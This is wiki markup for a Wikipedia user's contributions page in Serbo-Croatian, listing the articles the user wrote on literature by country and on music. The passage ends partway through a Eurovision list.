<center>[[Razgovor sa korisnikom:Edgar Allan Poe|Razgovor]]</center> | <center>[[Korisnik:Edgar Allan Poe/Doprinosi|Doprinosi]]</center> | <center>[[Korisnik:Edgar Allan Poe/Nagrade|Nagrade]]</center> |- | colspan=7 | <hr> |- | colspan=7 style="padding:.3em; font-family:Helvetica, Arial, Verdana, sans-serif" | <center>'''Poruku mi možete ostaviti [https://sh.wikipedia.org/w/index.php?title=Razgovor_sa_korisnikom:Edgar_Allan_Poe&action=edit&section=new ovdje]'''</center> |} </div> </div> </div> </div> </center> Ovdje se nalazi '''popis članaka koje sam napisao ili nadopunio''' tokom svog rada na ovoj Wikipediji, poredan tematski. ==Književnost== {| style="border-spacing: 2px; border: 1px solid darkgray;" width="100%" |- ! style="border: 1px solid silver; background-color:#AAD0FF;" colspan="5" | '''Književnost''' |- style="text-align: center;" | style="border: 1px solid silver; background-color:#AAD0FF;" width="15%"| '''Općenito''' | style="font-size:smaller; text-align: left" colspan="4"| {{small|1.}} [[Ekspresionizam]] • {{small|2.}} [[Gotička fikcija]] • {{small|3.}} [[Humanizam]] • {{small|4.}} [[Klasicizam]] • {{small|5.}} [[Galgenhumor]] • {{small|6.}} ''[[Nouveau roman]]'' • {{small|7.}} [[Južnjačka gotika]] • {{small|8.}} [[Struja svijesti (književnost)|Struja svijesti]] • {{small|9.}} [[Izgubljeni grad (fikcija)]] • {{small|10.}} [[Čehovljev pištolj]] |- style="text-align: center;" | style="border: 1px solid silver; background-color:#AAD0FF;" width="15%"| '''Književne nagrade''' | style="font-size:smaller; text-align: left" colspan="4"| {{small|1.}} [[Nagrada Agatha]] • {{small|2.}} [[Datoteka:LinkFA-star.png|14px]] [[Nobelova nagrada za književnost]] • {{small|3.}} [[NIN-ova nagrada]] • {{small|4.}} [[Velika nagrada za teatar Francuske akademije]] |- ! style="border: 1px solid silver; background-color:#AAD0FF;" colspan="5" | '''Nacionalne književnosti''' |- style="text-align: center;" | style="border: 1px solid silver; background-color:#AAD0FF;" width="15%"| '''Općenito''' | style="font-size:smaller; text-align: left"colspan="4"| {{small|1.}} [[Kostarikanska književnost]] |- ! style="border: 1px solid #C8102E; background-color:white; color:#C8102E;" colspan="5" | {{flagicon|ENG}} '''Engleska književnost''' |- style="text-align: center;" | style="border: 1px solid #C8102E; background-color:white; color:#C8102E;" width="15%"| '''Autori''' | style="font-size:smaller; text-align: left" colspan="4"| {{small|1.}} [[Douglas Adams]] • {{small|2.}} [[Jane Austen]] • {{small|3.}} [[George Bellairs]] • {{small|4.}} [[Anne Brontë]] • {{small|5.}} [[Datoteka:LinkFA-star.png|14px]] [[Lewis Carroll]] • {{small|6.}} [[Geoffrey Chaucer]] • {{small|7.}} [[Gilbert Keith Chesterton]] • {{small|8.}} [[Agatha Christie]] • {{small|9.}} [[Daniel Defoe]] • {{small|10.}} [[Adrian Conan Doyle]] • {{small|11.}} [[Arthur Conan Doyle]] • {{small|12.}} [[Gervase od Tilburyja]] • {{small|13.}} [[John le Carré]] • {{small|14.}} [[Karoline Leach]] • {{small|15.}} [[Datoteka:LinkFA-star.png|14px]] [[Bertrand Russell]] • {{small|16.}} [[Edgar Wallace]] • {{small|17.}} [[Tom Stoppard]] |- style="text-align: center;" | style="border: 1px solid #C8102E; background-color:white; color:#C8102E;" colspan="5"| '''Djela''' |- | style="font-size:smaller; text-align: left" colspan="2" rowspan="2" | # ''[[Titus Andronicus]]'' # ''[[A Christmas Carol]]'' # ''[[Through the Looking-Glass]]'' ("[[The Walrus and the Carpenter]]" • "[[Haddocks' Eyes]]") # ''[[Euclid and his Modern Rivals]]'' # ''[[The Nursery "Alice"]]'' # [[:kategorija:Djela Agathe Christie|djela Agathe Christie]] ([[Datoteka:LinkFA-star.png|14px]] ''[[Ten Little Niggers]]'') # ''[[The Floating Admiral]]'' # ''[[Animal Farm]]'' # ''[[Our Story (knjiga)|Our Story]]'' # ''[[Born Fighter]]'' # ''[[My Story (Ronnie Kray)|My Story]]'' # ''[[In the Shadow of the Dreamchild]]'' # ''[[A Way of Life: Over Thirty Years of Blood, Sweat and Tears]]'' # ''[[The Constant Gardener]]'' | style="border: 1px solid #C8102E; background-color:white; color:#C8102E;" colspan="3"| '''Sherlock Holmes''' |- | style="font-size:smaller; text-align: left" colspan="3" | "[[How Watson Learned the Trick]]" • ''[[The Adventures of Sherlock Holmes]]'' ("[[A Scandal in Bohemia]]" • "[[The Adventure of the Red-Headed League|The Red-Headed League]]" • "[[The Man with the Twisted Lip]]" • "[[The Adventure of the Copper Beeches|The Copper Beeches]]" • "[[The Adventure of the Blue Carbuncle|The Blue Carbuncle]]" • "[[The Adventure of the Speckled Band|The Speckled Band]]" • "[[The Adventure of the Noble Bachelor|The Noble Bachelor]]" • "[[The Boscombe Valley Mystery]]" • "[[A Case of Identity]]" • "[[The Adventure of the Beryl Coronet|The Beryl Coronet]]" • "[[The Adventure of the Engineer's Thumb|The Engineer's Thumb]]" • "[[The Five Orange Pips]]") • ''[[The Memoirs of Sherlock Holmes]]'' ("[[Silver Blaze]]" • "[[The Adventure of the Cardboard Box|The Cardboard Box]]" • "[[The Adventure of the Yellow Face|The Yellow Face]]" • "[[The Adventure of the Stockbroker's Clerk|The Stockbroker's Clerk]]" • "[[The Adventure of the Gloria Scott|The ''Gloria Scott'']]" • "[[The Adventure of the Reigate Squire|The Reigate Squire]]" • "[[The Adventure of the Musgrave Ritual|The Musgrave Ritual]]" • "[[The Adventure of the Crooked Man|The Crooked Man]]" • "[[The Adventure of the Resident Patient|The Resident Patient]]" • "[[The Adventure of the Greek Interpreter|The Greek Interpreter]]" • "[[The Adventure of the Naval Treaty|The Naval Treaty]]" • "[[The Final Problem]]") • ''[[The Return of Sherlock Holmes]]'' ("[[The Adventure of the Empty House|The Empty House]]" • "[[The Adventure of the Norwood Builder|The Norwood Builder]]" • "[[The Adventure of the Dancing Men|The Dancing Men]]" • "[[The Adventure of the Solitary Cyclist|The Solitary Cyclist]]" • "[[The Adventure of the Priory School|The Priory School]]" • "[[The Adventure of Black Peter|Black Peter]]" • "[[The Adventure of Charles Augustus Milverton|Charles Augustus Milverton]]" • "[[The Adventure of the Six Napoleons|The Six Napoleons]]" • "[[The Adventure of the Three Students|The Three Students]]" • "[[The Adventure of the Golden Pince-Nez|The Golden Pince-Nez]]" • "[[The Adventure of the Missing Three-Quarter|The Missing Three-Quarter]]" • "[[The Adventure of the Abbey Grange|The Abbey Grange]]" • "[[The Adventure of the Second Stain|The Second Stain]]") • ''[[His Last Bow]]'' ("[[The Adventure of Wisteria Lodge|Wisteria Lodge]]" • "[[The Adventure of the Red Circle|The Red Circle]]" • "[[The Adventure of the Bruce-Partington Plans|The Bruce-Partington Plans]]" • "[[The Adventure of the Dying Detective|The Dying Detective]]" • "[[The Disappearance of Lady Frances Carfax|Lady Frances Carfax]]" • "[[The Adventure of the Devil's Foot|The Devil's Foot]]" • "[[His Last Bow (priča)|His Last Bow]]") • ''[[The Case-Book of Sherlock Holmes]]'' ("[[The Adventure of the Mazarin Stone|The Mazarin Stone]]" • "[[The Problem of Thor Bridge|Thor Bridge]]" • "[[The Adventure of the Creeping Man|The Creeping Man]]" • "[[The Adventure of the Sussex Vampire|The Sussex Vampire]]" • "[[The Adventure of the Three Garridebs|The Three Garridebs]]" • "[[The Adventure of the Illustrious Client|The Illustrious Client]]" • "[[The Adventure of the Three Gables|The Three Gables]]" • "[[The Adventure of the Blanched Soldier|The Blanched Soldier]]" • "[[The Adventure of the Lion's Mane|The Lion's Mane]]" • "[[The Adventure of the Retired Colourman|The Retired Colourman]]" • "[[The Adventure of the Veiled Lodger|The Veiled Lodger]]" • "[[The Adventure of Shoscombe Old Place|Shoscombe Old Place]]") • ''[[The Valley of Fear]]'' • ''[[A Study in Scarlet]]'' • ''[[The Sign of the Four]]'' • ''[[The Hound of the Baskervilles]]'' ---- {{small|1.}} ''[[The Exploits of Sherlock Holmes]]'' |- style="text-align: center;" | style="border: 1px solid #C8102E; background-color:white; color:#C8102E;" colspan="5"| '''Likovi i franšize''' |- style="text-align: center;" | style="border: 1px solid #C8102E; background-color:white; color:#C8102E;" width="20%"| '''Sherlock Holmes''' | style="border: 1px solid #C8102E; background-color:white; color:#C8102E;" width="20%"| '''Agatha Christie''' | style="border: 1px solid #C8102E; background-color:white; color:#C8102E;" width="20%"| '''''Harry Potter''''' | style="border: 1px solid #C8102E; background-color:white; color:#C8102E;" width="20%"| '''Carrollova ''Alice''''' | style="border: 1px solid #C8102E; background-color:white; color:#C8102E;" width="20%"| '''Ostalo''' |- style="font-size:smaller; text-align: left" | | # [[Datoteka:LinkFA-star.png|14px]] [[Sherlock Holmes]] # [[Dr. Watson]] # [[Sebastian Moran]] # [[Inspektor Lestrade]] # [[Mycroft Holmes]] # [[Profesor Moriarty]] # [[Irene Adler]] # [[Mary Morstan]] ---- # [[Klub Diogenes]] | # [[Hercule Poirot]] # [[Miss Marple]] # [[Tommy i Tuppence]] # [[Viši inspektor Japp]] # [[Arthur Hastings]] # [[Parker Pyne]] # [[Ariadne Oliver]] # [[Gospođica Lemon]] | # [[Sirius Black]] # [[Remus Lupin]] # [[Severus Snape]] # [[Armando Dippet]] # [[Gabrielle Delacour]] # [[Alastor Moody]] # [[Barty Crouch]] # [[Phineas Nigellus Black]] | # [[Jubjub]] # [[Bijeli Skakač (Through the Looking-Glass)|Bijeli Skakač]] # [[Ovca (Through the Looking-Glass)|Ovca]] # [[Crveni Kralj (Through the Looking-Glass)|Crveni Kralj]] # [[Grifon (Alice's Adventures in Wonderland)|Grifon]] # [[Alice (Alice's Adventures in Wonderland)|Alice]] # [[Ludi Šeširdžija]] # [[Gusjenica (Alice's Adventures in Wonderland)|Gusjenica]] | # [[James Bond (lik)]] |} ===Engleska književnost=== {{Navbox generic |titlestyle = color:red; background:white; border:1px solid #EF4135; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Doprinosi s područja engleske književnosti |groupstyle = text-align:center; color:red; border:1px solid silver; |abovestyle=text-align:center; color:red;background:white; border:1px solid #EF4135; |belowstyle= text-align:center; color:red; background:white; border:1px solid #EF4135; |groupstyle = text-align:center; color:red; background:white; border:1px solid #EF4135; |above= |group1 = Pisci |list1= [[Gervase Tilburyski]] • [[Geoffrey Chaucer]] • [[Daniel Defoe]] • [[Jane Austen]] • [[Anne Brontë]] • [[Datoteka:LinkFA-star.png|14px]] [[Lewis Carroll]] • [[Arthur Conan Doyle]] • [[Gilbert Keith Chesterton]] • [[Edgar Wallace]] • [[Adrian Conan Doyle]] • [[Agatha Christie]] • [[Datoteka:LinkFA-star.png|14px]] [[Bertrand Russell]] • [[George Bellairs]] • [[Douglas Adams]] • [[John le Carré]] • [[Karoline Leach]] |group2 = Djela |list2= ''[[A Christmas Carol]] • [[Through the Looking-Glass]] ''("[[The Walrus and the Carpenter]]" • "[[Haddocks' Eyes]]")'' • [[Euclid and his Modern Rivals]] • [[The Nursery "Alice"]] • [[A Study in Scarlet]] • [[The Sign of the Four]] • [[The Hound of the Baskervilles]] • [[The Floating Admiral]] • ''[[:kategorija:Djela Agathe Christie|Djela Agathe Christie]] ([[Datoteka:LinkFA-star.png|14px]] ''[[Ten Little Niggers]]'')'' • [[Animal Farm]] • [[The Exploits of Sherlock Holmes]] • [[Our Story (knjiga)|Our Story]] • [[Born Fighter]] • [[A Way of Life: Over Thirty Years of Blood, Sweat and Tears]] • [[My Story (Ronnie Kray)|My Story]] • [[In the Shadow of the Dreamchild]] • [[The Constant Gardener]]'' • "[[How Watson Learned the Trick]]" • ''[[The Adventures of Sherlock Holmes]]'' ("[[A Scandal in Bohemia]]" • "[[The Adventure of the Red-Headed League|The Red-Headed League]]" • "[[The Man with the Twisted Lip]]" • "[[The Adventure of the Copper Beeches|The Copper Beeches]]" • "[[The Adventure of the Blue Carbuncle|The Blue Carbuncle]]" • "[[The Adventure of the Speckled Band|The Speckled Band]]" • "[[The Adventure of the Noble Bachelor|The Noble Bachelor]]" • "[[The Boscombe Valley Mystery]]" • "[[A Case of Identity]]" • "[[The Adventure of the Beryl Coronet|The Beryl Coronet]]" • "[[The Adventure of the Engineer's Thumb|The Engineer's Thumb]]" • "[[The Five Orange Pips]]") • ''[[The Memoirs of Sherlock Holmes]]'' ("[[Silver Blaze]]" • "[[The Adventure of the Cardboard Box|The Cardboard Box]]" • "[[The Adventure of the Yellow Face|The Yellow Face]]" • "[[The Adventure of the Stockbroker's Clerk|The Stockbroker's Clerk]]" • "[[The Adventure of the Gloria Scott|The ''Gloria Scott'']]" • "[[The Adventure of the Reigate Squire|The Reigate Squire]]" • "[[The Adventure of the Musgrave Ritual|The Musgrave Ritual]]" • "[[The Adventure of the Crooked Man|The Crooked Man]]" • "[[The Adventure of the Resident Patient|The Resident Patient]]" • "[[The Adventure of the Greek Interpreter|The Greek Interpreter]]" • "[[The Adventure of the Naval Treaty|The Naval Treaty]]" • "[[The Final Problem]]") • ''[[The Return of Sherlock Holmes]]'' ("[[The Adventure of the Empty House|The Empty House]]" • "[[The Adventure of the Norwood Builder|The Norwood Builder]]" • "[[The Adventure of the Dancing Men|The Dancing Men]]" • "[[The Adventure of the Solitary Cyclist|The Solitary Cyclist]]" • "[[The Adventure of the Priory School|The Priory School]]" • "[[The Adventure of Black Peter|Black Peter]]" • "[[The Adventure of Charles Augustus Milverton|Charles Augustus Milverton]]" • "[[The Adventure of the Six Napoleons|The Six Napoleons]]" • "[[The Adventure of the Three Students|The Three Students]]" • "[[The Adventure of the Golden Pince-Nez|The Golden Pince-Nez]]" • "[[The Adventure of the Missing Three-Quarter|The Missing Three-Quarter]]" • "[[The Adventure of the Abbey Grange|The Abbey Grange]]" • "[[The Adventure of the Second Stain|The Second Stain]]") • ''[[His Last Bow]]'' ("[[The Adventure of Wisteria Lodge|Wisteria Lodge]]" • "[[The Adventure of the Red Circle|The Red Circle]]" • "[[The Adventure of the Bruce-Partington Plans|The Bruce-Partington Plans]]" • "[[The Adventure of the Dying Detective|The Dying Detective]]" • "[[The Disappearance of Lady Frances Carfax|Lady Frances Carfax]]" • "[[The Adventure of the Devil's Foot|The Devil's Foot]]" • "[[His Last Bow (priča)|His Last Bow]]") • ''[[The Case-Book of Sherlock Holmes]]'' ("[[The Adventure of the Mazarin Stone|The Mazarin Stone]]" • "[[The Problem of Thor Bridge|Thor Bridge]]" • "[[The Adventure of the Creeping Man|The Creeping Man]]" • "[[The Adventure of the Sussex Vampire|The Sussex Vampire]]" • "[[The Adventure of the Three Garridebs|The Three Garridebs]]" • "[[The Adventure of the Illustrious Client|The Illustrious Client]]" • "[[The Adventure of the Three Gables|The Three Gables]]" • "[[The Adventure of the Blanched Soldier|The Blanched Soldier]]" • "[[The Adventure of the Lion's Mane|The Lion's Mane]]" • "[[The Adventure of the Retired Colourman|The Retired Colourman]]" • "[[The Adventure of the Veiled Lodger|The Veiled Lodger]]" • "[[The Adventure of Shoscombe Old Place|Shoscombe Old Place]]") • ''[[The Valley of Fear]]'' • ''[[Titus Andronicus]]'' |group3 = Likovi |list3= {{Navbox subgroup | groupstyle = text-align:center; color:red; background:white; border:1px solid #EF4135; |group1 = Holmes |list1= [[Datoteka:LinkFA-star.png|14px]] [[Sherlock Holmes]] • [[Dr. Watson]] • [[Sebastian Moran]] • [[Inspektor Lestrade]] • [[Mycroft Holmes]] • [[Profesor Moriarty]] • [[Irene Adler]] • [[Mary Morstan]] |group2 = ''Harry Potter'' |list2= [[Sirius Black]] • [[Remus Lupin]] • [[Severus Snape]] • [[Armando Dippet]] • [[Gabrielle Delacour]] • [[Alastor Moody]] • [[Barty Crouch]] • [[Phineas Nigellus Black]] |group3 = ''Alice'' |list3= [[Jubjub]] • [[Bijeli Skakač (Through the Looking-Glass)|Bijeli Skakač]] • [[Ovca (Through the Looking-Glass)|Ovca]] • [[Crveni Kralj (Through the Looking-Glass)|Crveni Kralj]] • [[Grifon (Alice's Adventures in Wonderland)|Grifon]] • [[Alice (Alice's Adventures in Wonderland)|Alice]] • [[Ludi Šeširdžija]] • [[Gusjenica (Alice's Adventures in Wonderland)|Gusjenica]] |group4 = Christie |list4= [[Hercule Poirot]] • [[Miss Marple]] • [[Tommy i Tuppence]] • [[Viši inspektor Japp]] • [[Arthur Hastings]] • [[Parker Pyne]] • [[Ariadne Oliver]] • [[Gospođica Lemon]] }} |group4=Ostalo |list4= [[Klub Diogenes]] |below= }} ===Francuska književnost=== {{Navbox generic |titlestyle = color:#FFFFFF; background:#0055A4; border:1px solid #EF4135; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Doprinosi s područja francuske književnosti |groupstyle = text-align:center; color:#FFFFFF; border:1px solid silver; |abovestyle=text-align:center; color:#FFFFFF;background:#0055A4; border:1px solid #EF4135; |belowstyle= text-align:center; color:#FFFFFF; background:#0055A4; border:1px solid #EF4135; |groupstyle = text-align:center; color:#FFFFFF; background:#0055A4; border:1px solid #EF4135; |above= [[Francuska književnost|<span style="color:white">Francuska književnost</span>]] |group1 = Pisci |list1= ''[[La Pléiade]]'' ([[Pierre de Ronsard]] • [[Joachim du Bellay]]) • [[Margarita od Navarre]] • [[Clément Marot]] • [[Théodore-Agrippa d'Aubigné]] • [[Jean de La Fontaine]] • [[Molière]] • [[Alphonse de Lamartine]] • [[Alexandre Dumas (sin)|Alexandre Dumas, ''fils'']] • [[Alexandre Dumas (otac)|Alexandre Dumas, ''père'']] • [[Datoteka:LinkFA-star.png|14px]] [[Victor Hugo]] • [[Sully Prudhomme]] • [[Frédéric Mistral]] • [[Louis Aragon]] • [[Roger Martin du Gard]] • [[Eugène Ionesco]] • [[Jean-Paul Sartre]] • [[Datoteka:LinkFA-star.png|14px]] [[Albert Camus]] • [[Jacques Prévert]] • [[François Villon]] • [[Datoteka:LinkFA-star.png|14px]] [[André Malraux]] • [[Jean Genet]] • [[Max Jacob]] • [[François-René de Chateaubriand]] • [[Pierre-Augustin Caron de Beaumarchais]] • [[George Sand]] • [[Paul Claudel]] • [[François Mauriac]] • [[Patrick Modiano]] • [[Romain Rolland]] • [[Claude Simon]] • [[Saint-John Perse]] • [[Datoteka:LinkFA-star.png|14px]] [[Jean Anouilh]] |group2 = Djela |list2= ''[[La Chanson de Roland]] • [[Roman de la Rose]] • [[L'Avare ou l'École du mensonge]] • [[Bug-Jargal]] • [[Le Rhin]] • [[Torquemada (drama)|Torquemada]] • [[L'Éducation sentimentale]] • [[Madame Bovary]] • [[Les Rougon-Macquart, Histoire naturelle et sociale d'une famille sous le Second Empire]] ''(''[[Germinal]] • [[Nana (roman)|Nana]]'')'' • [[La Nausée]] • ''[[:Kategorija:Djela Eugènea Ionescoa|djela Eugènea Ionescoa]]'' • [[En attendant Godot]]'' • ''[[À l'échelle humaine]]'' • [[:Kategorija:Djela Andréa Malrauxa|djela Andréa Malrauxa]] • ''[[Le Barbier de Séville]]'' • ''[[Le Mariage de Figaro]]'' • ''[[La Mère coupable]]'' • ''[[Hernani (drama)|Hernani]]'' • "[[Le Bateau ivre]]" • ''[[Les Fleurs du mal]]'' • [[:Kategorija:Djela Jeana Anouilha|djela Jeana Anouilha]] (osim ''Becketa''; [[Datoteka:LinkFA-star.png|14px]] ''[[Antigone]]'') |below= [[Emma Bovary|<span style="color:white">Emma Bovary</span>]] • [[Bérenger|<span style="color:white">Bérenger</span>]] }} ===Ruska književnost=== {{Navbox generic |titlestyle = color:#FFFFFF; background:red; border:1px solid #0039A6; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Doprinosi s područja ruske književnosti |abovestyle=text-align:center; color:#FFFFFF; background:red; border:1px solid #0039A6; |belowstyle= text-align:center; color:#FFFFFF; background:red; border:1px solid #0039A6; |groupstyle = text-align:center; color:#FFFFFF; background:red; border:1px solid #0039A6; |above= [[Ruska književnost|<span style="color:white">Ruska književnost</span>]] (nedovršeno) |group1 = Pisci |list1= [[Ivan Krilov]] • [[Ivan Gončarov]] • [[Aleksandar Blok]] • [[Isak Babelj]] • [[Andrej Platonov]] • [[Danil Harms]] • [[Mihail Šolohov]] • [[Vladimir Dudincev]] • [[Eduard Limonov]] |group2 = Djela |list2= ''[[Šinelj]] • [[Zločin i kazna]] • [[Tri sestre]]'' |below= }} ===Američka književnost=== {{Navbox generic |titlestyle = color:#FFFFFF; background:#B22234; border:1px solid #3C3B6E; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Doprinosi s područja američke književnosti |abovestyle=text-align:center; color:#FFFFFF; background:#B22234; border:1px solid #3C3B6E; |belowstyle= text-align:center; color:#FFFFFF; background:#B22234; border:1px solid #3C3B6E; |groupstyle = text-align:center; color:#FFFFFF; background:#B22234; border:1px solid #3C3B6E; |above= |group1 = Pisci |list1= [[Datoteka:LinkFA-star.png|14px]] [[Edgar Allan Poe]] ([[Datoteka:LinkFA-star.png|14px]] [[Smrt Edgara Allana Poea|smrt]] • [[Bibliografija Edgara Allana Poea|bibliografija]]) • [[Emily Dickinson]] • [[Datoteka:LinkFA-star.png|14px]] [[William Faulkner]] • [[Datoteka:LinkFA-star.png|14px]] [[H. P. Lovecraft]] ([[:Kategorija:H. P. Lovecraft|kategorija]]) |group2 = Djela |list2= ''[[The Raven]] • [[The Murders in the Rue Morgue]] • [[The Narrative of Arthur Gordon Pym of Nantucket]] • [[Adventures of Huckleberry Finn]] • [[The Da Vinci Code]] • [[Franz Kafka: The Office Writings]]'' • [[:Kategorija:Djela Williama Faulknera|djela Williama Faulknera]] |below= [[Auguste Dupin|<span style="color:white">C. Auguste Dupin</span>]] • [[Yoknapatawpha|<span style="color:white">Yoknapatawpha</span>]] • [[Obitelj Compson|<span style="color:white">Obitelj Compson</span>]] • [[Datoteka:LinkFA-star.png|14px]] [[Ono (lik)|{{color|white|Ono}}]] }} ===Japanska književnost=== {{Navbox generic |titlestyle = text-align:center; color:red; background:white; border:1px solid red; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Doprinosi s područja japanske književnosti |abovestyle=text-align:center; color:red; background:white; border:1px solid red; |belowstyle= text-align:center; color:red; background:white; border:1px solid red; |groupstyle = text-align:center; color:red; background:white; border:1px solid red; |above= |group1 = Pisci |list1= [[Chikamatsu Monzaemon]] • [[Datoteka:LinkFA-star.png|14px]] [[Edogawa Ranpo]] • [[Shūji Terayama]] • [[Project Itō]] • [[Sanjūgo Naoki]] • [[Datoteka:LinkFA-star.png|14px]] [[Osamu Dazai]] ([[Samoubojstvo Osamua Dazaija|suicid]] • [[:Kategorija:Djela Osamua Dazaija|djela]]) • [[Shizuko Ōta]] |group2 = Djela |list2= "[[Ningen Isu]]" • "[[Rashōmon]]" • ''[[Noruwei no Mori]]'' • ''[[Nihon Ōdai Ichiran]]'' • [[Bibliografija Osamua Dazaija]] ([[Datoteka:LinkFA-star.png|14px]] ''[[Ningen Shikkaku]]'') |below= [[Kogorō Akechi|{{color|red|Kogorō Akechi}}]] • ''[[Buraiha|{{color|red|Buraiha}}]]'' • [[Ja-roman|{{color|red|Ja-roman}}]] • ''[[Shayō-zoku|{{color|red|Shayō-zoku}}]]'' • [[Yōzō Ōba|{{color|red|Yōzō Ōba}}]] }} ===Ostalo=== {{Navbox generic |titlestyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; |name = Korisnik:Edgar Allan Poe/Doprinosi |title= Ostali doprinosi s područja književnosti |abovestyle= |belowstyle= |groupstyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; |above= |group1 = Afrika |list1= {{Navbox subgroup |group1 = {{nowrap|{{flagicon|ANG}} Angola}} |group1style = background-color:#d81e05; color:yellow; text-align:center; border:1px solid black; |list1=[[José Luandino Vieira]] • [[Pepetela]] |group2 = {{flagicon|GAN}} Gana |group2style = text-align:center; background:yellow; color:black; border: 1px solid black; |list2=[[J. E. Casely Hayford]] |group3 = {{flagicon|TOG}} Togo |group3style = text-align:center; background:#FFCE00; color:#006A4E; border: 1px solid #006A4E; |list3=[[Félix Couchoro]] }} |group2 = Amerike |group2style = |list2= {{Navbox subgroup |group1 = {{nowrap|{{flagicon|BRA}} Brazil}} |group1style = background-color:#FFCC29; color:#3E4095; text-align:center; border:1px solid #00A859; |list1=[[Machado de Assis]] |group2 = {{nowrap|{{flagicon|KUB}} Kuba}} |group2style = background-color:#1C2D8C; color:white; text-align:center; border:1px solid red; |list2=[[Nicolás Guillén]] |group3 = {{nowrap|{{flagicon|VEN}} Venezuela}} |group3style = background-color:#1C2D8C; color:white; text-align:center; border:1px solid #FCD116; |list3=[[Rufino Blanco-Fombona]] |group4 = {{nowrap|{{flagicon|HON}} Honduras}} |group4style = background-color:#0073CF; color:white; text-align:center; border:1px solid silver; |list4=[[Argentina Díaz Lozano]] • [[Froylán Turcios]] • [[Lucila Gamero de Medina]] |group5 = {{nowrap|{{flagicon|SUR}} Surinam}} |group5style = background:#C8102E; border:1px solid #007A33; color: #FFCD00; text-align:center; |list5=[[Bernardo Ashetu]] • [[Johanna Schouten-Elsenhout]] }} |group3 = Azija |group3style = |list3= {{Navbox subgroup |group1 = {{flagicon|IZR}} Izrael |group1style = text-align:center; color:blue; background:white; border:1px solid blue; |list1= [[Shmuel Yosef Agnon]] |group2 = {{flagicon|KIN}} Kina |group2style = text-align:center; background:#DD0000; color:gold; border: 1px solid silver; |list2= [[Gao Xingjian]] • [[Mo Yan]] |group3 = {{flagicon|SJKOR}} Sjeverna Koreja |group3style = text-align:center; color:white; background:red; border:1px solid #0073CF; |list3=''[[Segi wa tŏburŏ]]'' |group4 = {{flagicon|Kambodža}} Kambodža |group4style = text-align:center; background:blue; color: white; border:1px solid red; |list4=''[[Reamker]]'' • [[Preah Ko i Preah Keo]] • [[Kmerski teatar sjena]] }} |group4 = Europa |group4style = |list4= {{Navbox subgroup |group1 = {{flagicon|AUT}} Austrija |group1style = text-align:center; color:white; background:red; border:1px solid silver; |list1= [[Karl Bruckner]] |group2 = {{flagicon|ČEŠ}} Češka |group2style = text-align:center; color:white; background:#DD0000; border:1px solid #000080; |list2= {{Navbox subgroup | groupstyle = text-align:center; color:white; background:#DD0000; border:1px solid #000080; |group1 = Pisci |list1= [[Karel Čapek]] • [[Datoteka:LinkFA-star.png|14px]] [[Franz Kafka]] • [[Max Brod]] |group2 = Djela |list2= ''[[Der Process]] • ''"[[Vor dem Gesetz]]"'' • ''"[[Die Verwandlung]]"''''}} |group3 = {{flagicon|DAN}} Danska |group3style = text-align:center; background:#D21034; color:white; border: 1px solid silver; |list3=[[Johannes Vilhelm Jensen]] |group4 = {{flagicon|HRV}} Hrvatska |group4style = text-align:center; color:white; background:red; border:1px solid blue; |list4= ''[[U registraturi]]'' |group5 = {{flagicon|IRS}} Irska |group5style = text-align:center; color:white; background:green; border:1px solid silver; |list5= [[Oscar Wilde]] • [[Bram Stoker]] |group6 = {{flagicon|MAĐ}} Mađarska |group6style = color:#FFFFFF;background:#009246; border:1px solid #EF4135; |list6= [[Ferenc Molnár]] |group7 = {{flagicon|NOR}} Norveška |group7style = text-align:center; background:#EF2B2D; color:white; border: 1px solid #002868; |list7= [[Bjørnstjerne Bjørnson]] |group8 = {{flagicon|ŠVE}} Švedska |group8style = text-align:center; color:yellow; background:blue; border:1px solid yellow; |list8= [[Carl Gustaf Verner von Heidenstam]] |group9 = {{flagicon|ITA}} Italija |group9style = text-align:center; color:#FFFFFF; background:#009246; border:1px solid #EF4135; |list9= [[Giacomo Casanova]] • [[Luigi Pirandello]] • [[Dario Fo]] |group10 = {{flagicon|NJE}} Njemačka |group10style = text-align:center; color:#000000; background:#FFCC00; border:1px solid #FF0000; |list10= [[Ernst Theodor Amadeus Hoffmann]] • [[Herta Müller]] |group11 = {{flagicon|EST}} Estonija |group11style = text-align:center; color:white; background:#0072CE; border:1px solid black; |list11= {{Navbox subgroup | groupstyle = ttext-align:center; color:white; background:#0072CE; border:1px solid black; |group1 = Pisci |list1= [[Carl Robert Jakobson]] • [[Johann Voldemar Jannsen]] • [[Friedrich Reinhold Kreutzwald]] • [[Marie Under]] • [[Anton Hansen Tammsaare]] • [[Lydia Koidula]] |group2 = Djela |list2= ''[[Kalevipoeg]]''}} |group12 = {{flagicon|POLJ}} Poljska |group12style = text-align:center; color:red; background:white; border:1px solid red; |list12= [[Wisława Szymborska]] • [[Olga Tokarczuk]] • [[Władysław Reymont]] }} |group5 = Oceanija |group5style = |list5={{Navbox subgroup |group1 = {{nowrap|{{flagicon|AUS}} Australija}} |group1style = background-color:#1C2D8C; color:white; text-align:center; border:1px solid silver; |list1= [[Banjo Paterson]] |group2 = {{nowrap|{{flagicon|FIJ}} Fidži}} |group2style = background-color:#68BFE5; color:white; text-align:center; border:1px solid silver; |list2= [[Vilsoni Hereniko]] }} |group6 = {{nowrap|Antički Rim}} |group6style = text-align:center; color:#E4D96F; background:white; border:1px solid #E4D96F; |list6 = [[Vergilije]] • [[Tit Makcije Plaut]] |below= }} ==Glazba== ===Teorija i terminologija u glazbi=== {{Navbox | name = Korisnik:Edgar Allan Poe/Doprinosi | title = Doprinosi s područja teorije i glazbene terminologije | titlestyle = background-color:#AAD0FF; color:black; text-align:center; border:1px solid silver; | image = | imageleft = | bodyclass = hlist | list1 = ''[[Ballets Russes]]'' • [[Muzička nagrada Léonie Sonning]] • ''[[Musique concrète]]'' • [[Datoteka:LinkFA-star.png|14px]] [[Novi val]] • [[Datoteka:LinkFA-star.png|14px]] [[Synthpop]] • [[Novi romantizam]] • ''[[Laulupidu]]'' • [[Tintinnabuli]] • [[Kawina (muzika)|Kawina]] • [[Kaseko]] |list2={{Navbox subgroup |abovestyle=background-color:#EBF5FF; color:black; text-align:center |above= '''Eurosong''' |list1={{flagicon|ŠVI}} [[Pjesma Eurovizije 1989.|1989.]] • {{flagicon|SFRJ}} [[Pjesma Eurovizije 1990.|1990.]] • 